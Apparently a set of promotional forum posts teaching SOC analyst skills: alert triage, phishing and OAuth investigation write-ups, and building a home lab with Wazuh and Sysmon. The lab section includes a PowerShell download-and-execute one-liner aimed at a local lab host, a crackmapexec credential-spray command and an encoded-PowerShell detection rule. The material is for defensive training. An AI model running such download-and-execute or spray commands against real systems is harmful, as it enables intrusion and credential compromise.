Welcome to this week's ByteSec hands-on analysis challenge!

Here is a real-world triage scenario:

During morning shift monitoring, an endpoint alert triggers on an encoded PowerShell command executed from an unprivileged user directory. The parent process is listed as WINWORD.EXE.

Key questions for analysts:

1. What is your immediate isolation and containment protocol?

2. What artifacts and telemetry would you pull first (Sysmon Event ID 1, network connections, memory dump)?

3. How would you de-obfuscate the command payload safely?

Drop your investigation steps, commands, and hypotheses in the comments below. Let's break down the optimal triage workflow together!

Build an IR case study that hiring managers actually read.

A strong junior SOC portfolio is not a list of tools. It is one complete incident, told end to end, with evidence, decisions, and outcomes. Use this structure on your next write-up.

1. Scope the incident (one page)

Pick a single scenario: phishing-to-BEC, malware on a workstation, or credential stuffing against a SaaS app. Write:

• Detection source (email gateway, EDR, SIEM alert)

• Initial IOC set (sender, hash, URL, user, host)

• Business impact in one sentence (what was at risk)

2. Timeline and containment

Build a UTC timeline with at least 6 events: first alert, triage, isolation, credential reset, block, and close. For each event note who acted, what evidence they used, and why that action was chosen over the alternative.

3. Investigation artifacts

Include screenshots or redacted exports of:

• Email headers + URL detonation

• Process tree / EDR alert

• SIEM query that confirmed lateral movement (or confirmed it did not happen)

• Ticket notes that a senior analyst would accept

4. Lessons and metrics

Close with MTTD, MTTC, what you would automate next, and one control change (policy, detection rule, or user training).

The full Cyber AI and SOC toolkits turn this from a homework exercise into production work: prompt packs for triage, playbook templates, and portfolio-ready case formats so you can ship a complete study in a weekend instead of a month.

Starter kit members: use code bytesec15 for 15% off the All-In-One Cyber AI & SOC Portfolio Bundle: https://whop.com/bytesec-studio/all-in-one-cyber-ai-soc-portfolio-bundle

Drop your case-study outline in the comments if you want feedback on scope.

When an alert lands, the playbook and triage checklist decide whether you spend 10 minutes or 2 hours. Start every ticket the same way: confirm the alert source, capture the first-seen timestamp, identify the affected host or identity, and write a one-line hypothesis before you open extra tools. That short loop keeps false positives from eating the queue and gives you a clean paper trail if the case escalates.

Hands-on documentation is what turns lab work into interview proof. Hiring managers do not just want “I investigated phishing.” They want to see how you scoped, what you ruled out, and why you closed or escalated. Keep a lab notebook: alert type, artifacts collected, queries you ran, and the decision you made. Bring 2 or 3 of those write-ups to interviews. That is stronger than a cert list.

Which alert type do you spend the most time investigating? Drop the alert family (phishing, endpoint, identity, network, cloud) and one thing that usually slows you down. Let’s compare notes and tighten the playbook together.

Hands-On SOC Lab: Documenting Alert Triage for Your Resume

Hiring managers do not hire "I know SIEM." They hire people who can show a clean investigation trail. This lab walks through one phishing-related credential harvest alert from first look to a GitHub-ready writeup you can put on a resume.

Use this as a free practice run. The full incident pack has more cases, artifacts, and report templates: https://whop.com/bytesec-studio/soc-analyst-hands-on-portfolio-incident-investigation-pack

1. Alert context (what you write first)

Pretend your SIEM fires:

• Rule: Impossible travel + new OAuth grant after inbound email

• Severity: High

• User: j.patel@labcorp.example

• Time: 2026-09-30 14:12 UTC (email) → 14:19 UTC (OAuth consent)

• Source IP (login): 185.220.101.42 (Tor exit, DE)

• Last known good login: 47.18.x.x (NYC office VPN, 11:04 UTC)

Triage question you must answer in writing: Is this a true positive, a false positive (VPN/travel), or a confirmed account takeover?

Write one sentence of context before you touch artifacts:

"High-severity identity alert: user received an inbound message, then granted a third-party OAuth app from a Tor IP seven minutes later, inconsistent with their NYC VPN session."

That sentence is the first paragraph of your case notes and your GitHub README.

2. Artifacts to inspect (do this in order)

Work the evidence like a real SOC. Do not skip steps.

A. Email header (phishing)

Export the .eml and record:

• From vs Return-Path vs Reply-To

• Received hop chain (last trusted hop vs first untrusted)

• Authentication-Results: SPF / DKIM / DMARC (fail / none is a finding)

• Message-ID domain vs display From

• Links: expand the real URL, not the display text

Lab finding to document: Display From is it-helpdesk@labcorp.example. Return-Path is bounce@mailer-secure-notice[.]top. DMARC fail. Link resolves to hxxps://labcorp-sso-login[.]web.app/oauth.

B. URL / landing page

• Screenshot the login clone (redact real brands if you reuse this publicly)

• Note TLS cert issuer, domain age, hosting ASN

• Capture the form POST target (credential harvest vs OAuth consent screen)

C. Identity / OAuth

From Entra ID / Google Workspace audit:

• App name, client ID, requested scopes (Mail.Read, offline_access is high risk)

• Consent timestamp vs email timestamp

• Token grant type (user consent vs admin)

• Whether MFA was satisfied or bypassed (session cookie / adversary-in-the-middle)

D. Endpoint (if you have EDR)

• Browser process, parent, command line

• New persistence? Usually none for pure credential harvest. Say that. Negative findings count.

Case note template (copy this):

Alert ID:
Analyst:
Start / end time:
Hypothesis:
True/false positive:
Key artifacts:
IOC list:
User impact:
Containment taken:
Open questions:

3. Containment (what you actually do)

Do not wait for a perfect report. Contain, then document.

1. Disable or revoke the OAuth grant immediately.

2. Revoke sessions and force password reset + MFA re-register if session theft is possible.

3. Block the sender domain, URL, and IP at email gateway + DNS + proxy.

4. Hunt the same Message-ID pattern, URL, and app client ID across the tenant (last 24–72 hours).

5. Notify the user with a short, factual message. Do not blame them in the ticket.

6. Preserve the .eml, audit export, and screenshots in the case folder before you wipe anything.

Write each action with time and ticket ID. That timeline is what interviewers ask for.

4. Turn the case into a GitHub portfolio project

Create a public repo named something like soc-alert-triage-oauth-phish with this layout:

README.md                 # 1-page executive summary
timeline.md               # minute-by-minute
artifacts/
  headers.txt             # redacted
  auth-results.txt
  iocs.csv
  screenshots/            # blurred PII
notes/
  triage.md               # your case template
  containment.md
  detection-gap.md        # what the SIEM missed

README structure hiring managers actually read:

1. Situation (3 sentences): alert, user, why it mattered

2. Actions (bullets): artifacts, containment, hunt

3. Outcome: account recovered, OAuth revoked, 0 additional victims / N additional victims

4. Detection improvement: new SIEM rule (email → OAuth grant < 15 min from untrusted ASN)

5. Skills shown: email header analysis, identity logs, IOC extraction, ticket writing

Resume bullet you can steal after you finish this lab:

Investigated a high-severity identity alert tying a DMARC-fail phishing email to a malicious OAuth grant; revoked tokens, contained IOCs, and documented a reproducible triage playbook with SIEM detection follow-up.

Redact real names, real tenants, and live malware. Use lab data or fully anonymized screenshots.

5. Detection follow-up (shows senior thinking)

Add one detection idea to the repo:

• Correlate inbound email URL click (or even just delivery) with a new OAuth consent for the same user within 15 minutes

• Alert if consent comes from an ASN not seen in the user's 30-day baseline

• Exclude known first-party apps by client ID allowlist

That last section is what separates a ticket-closer from someone who improves the SOC.

---

Practice this once with the sample narrative above, then repeat with a second alert of your own.

Full lab cases, artifact packs, and portfolio templates are in the SOC Analyst Hands-On Portfolio & Incident Investigation Pack: https://whop.com/bytesec-studio/soc-analyst-hands-on-portfolio-incident-investigation-pack

Drop questions or your redacted README draft in the comments. I will review structure, not just "was it phishing."

Step 1: Pull the raw headers and isolate the routing path.

Copy the full source of the message (Show original / View source). Paste it into your notes and extract From, Return-Path, Reply-To, Received, Authentication-Results, DKIM-Signature, and Message-ID. Ask your AI assistant: "List every hop in the Received chain in order, flag any hostname/IP mismatch, and compare Return-Path vs From vs Reply-To. Highlight missing SPF/DKIM/DMARC pass results." You want a hop map, not a rewrite of the email.

Step 2: Score authentication and look-alike domains.

Feed the Authentication-Results line plus the visible From domain into AI: "Parse SPF, DKIM, and DMARC. If any fail or are none, explain what that means for delivery spoofing. Check whether the display name domain is a look-alike of a known brand (homoglyph, extra TLD, hyphen swap)." Cross-check the sending IP against the claimed org. If DMARC is fail and Reply-To is a different mailbox, treat it as high-risk until proven otherwise.

Step 3: Write the ticket and decide the action.

Have AI draft a SOC note with: IOCs (domains, IPs, Message-ID), authentication verdict, user impact, and recommended action (block sender, reset if clicked, notify the mailbox owner). You still own the decision. Do not auto-block on AI output alone. Recheck one Received hop and one auth field yourself before you close the case.

Want the complete incident investigation lab blueprints and 50+ master AI prompts? Check out the All-In-One Cyber AI & SOC Portfolio Bundle here: https://whop.com/bytesec-studio/all-in-one-cyber-ai-soc-portfolio-bundle (available for $17.99 or 3 monthly payments of $6.00).

Setting up your first home SOC lab with open-source tools

This is the starter path for ByteSec Studio. You will stand up a small, isolated lab that generates real telemetry, ships it to a SIEM, and lets you practice detection and investigation without touching production.

Scope: one attacker VM, one victim Windows VM, one Linux sensor/SIEM host. All on a host-only or NAT internal network.

---

0. Safety rules (do these first)

1. Never put this lab on your home LAN with unrestricted outbound access until you understand what you are running.

2. Use a host-only / internal virtual network. Outbound internet should be optional and filtered.

3. Snapshots before every major change. Name them (pre-sysmon, pre-wazuh).

4. Treat malware samples as live. Only download them into the isolated victim VM, never the hypervisor host.

5. Do not reuse passwords, SSH keys, or Windows accounts from real machines.

---

1. Hardware and hypervisor

Minimum: 16 GB RAM, 8 CPU threads, 80 GB free SSD. Comfortable: 32 GB RAM.

Install one hypervisor:

• VirtualBox (free) or VMware Workstation Player / Hyper-V.

Create a virtual network:

• VirtualBox: File → Tools → Network Manager → Host-only (example: 192.168.56.0/24)

• Do not use Bridged for malware work.

Reserve RAM:

---

2. Build the SIEM host (Ubuntu)

sudo apt update && sudo apt upgrade -y
sudo apt install -y curl apt-transport-https gnupg lsb-release unzip

Install Wazuh (manager + dashboard) with the official all-in-one installer:

curl -sO https://packages.wazuh.com/4.9/wazuh-install.sh
sudo bash wazuh-install.sh -a

Save the printed dashboard password. Open https://<soc-siem-ip> from your host (add a port-forward if needed).

Confirm the manager is up:

sudo systemctl status wazuh-manager wazuh-indexer wazuh-dashboard

Pitfall: If the dashboard is unreachable, check sudo ss -lntp | grep 443 and that the VM NIC is on the host-only net, not NAT-only with no forward.

---

3. Windows victim: logging that actually helps

Use a Windows 10/11 Evaluation ISO. After install:

1. Set a static IP on the host-only net (e.g. 192.168.56.20).

2. Disable Windows Defender only if you are detonating known samples. Keep it on for “clean” detection practice.

3. Install Sysmon with a community config (SwiftOnSecurity or Olaf Hartong sysmon-modular).

# Run as Administrator on the Windows VM
.\Sysmon64.exe -accepteula -i sysmonconfig.xml
Get-Service Sysmon64

Enable PowerShell logging (Event IDs 4103/4104):

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1

Install the Wazuh agent pointing at soc-siem:

<!-- ossec.conf manager address -->
<address>192.168.56.10</address>

Pitfall: Agent shows disconnected → Windows firewall is blocking 1514/tcp. Allow it inbound from the SIEM IP only.

---

4. Optional network sensor (Zeek)

On soc-siem or a fourth tiny VM:

sudo apt install -y zeek
sudo zeekctl deploy

Span or promiscuous-mode the internal vSwitch if your hypervisor allows it. If not, run Zeek on the SIEM NIC that sees NAT traffic from the victim.

---

5. Generate known-good and known-bad telemetry

Known-good (baseline):

• Log in, browse a few internal pages, run ipconfig, open Notepad.

Known-bad (safe simulations, no real malware yet):

From Kali against the Windows VM (only on the isolated net):

# Credential spray simulation (lab accounts only)
crackmapexec smb 192.168.56.20 -u labuser -p 'WrongPass1' --continue-on-success

On Windows, simulate living-off-the-land:

whoami /priv
net user
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.56.30/test.ps1')"

Use a local HTTP file on Kali, not the internet.

Then in Wazuh:

• Filter data.win.eventdata.image for powershell.exe

• Look for Sysmon Event ID 1 (process create) and 3 (network)

• Confirm the Wazuh agent ID matches soc-win

---

6. Write one detection, not twenty

Pick one behavior: encoded PowerShell (-enc / -encodedcommand).

Example Wazuh custom rule sketch (place in local_rules.xml, then restart manager):

<group name="windows,sysmon,">
  <rule id="100101" level="12">
    <if_group>sysmon_event1</if_group>
    <field name="win.eventdata.commandLine">-enc|-encodedcommand</field>
    <description>Encoded PowerShell command line</description>
    <mitre>
      <id>T1059.001</id>
    </mitre>
  </rule>
</group>

sudo systemctl restart wazuh-manager

Trigger it once, screenshot the alert, export the JSON. That screenshot is portfolio evidence.

Pitfall: Rule never fires because Sysmon is not mapping commandLine the way your decoder expects. Open a raw event in Wazuh first, copy the exact field path, then write the rule.

---

7. Investigation workflow (use this every time)

1. Alert → note rule ID, agent, UTC time.

2. Process tree → parent of PowerShell (often explorer.exe vs wmiprvse.exe).

3. Network → Sysmon EID 3 / Zeek conn. Dest IP in lab range vs unexpected.

4. Persistence check → Run keys, scheduled tasks, services.

5. Write it up in 8–12 lines: what fired, what you proved, what you would contain.

Paste that write-up in this forum as a comment on this post when you finish your first lab run.

---

8. Common pitfalls

• RAM starvation: indexer dies, dashboard 503. Drop Kali, give SIEM 8 GB.

• Clock skew: Windows VM not synced → events look “in the future.” Enable hypervisor time sync.

• DHCP mixed with static: agents register, then vanish after reboot. Static IPs on the lab net.

• Bridged networking: you just put a vulnerable Windows box on your real LAN. Don’t.

• No snapshots: one bad Sysmon config and you rebuild for an hour.

---

9. What “done” looks like

You can:

• Open Wazuh and find a Sysmon process-create event from your Windows VM in under a minute

• Fire encoded PowerShell and see your custom rule

• Export one alert JSON and write a short incident note

When that works, you are ready for the Hands-On Portfolio & Incident Investigation Pack: real case structure on top of this lab.

Questions, agent errors, or rule XML: reply here with OS, Wazuh version, and a redacted event JSON. Do not paste live malware hashes of things you found on the open internet without saying so.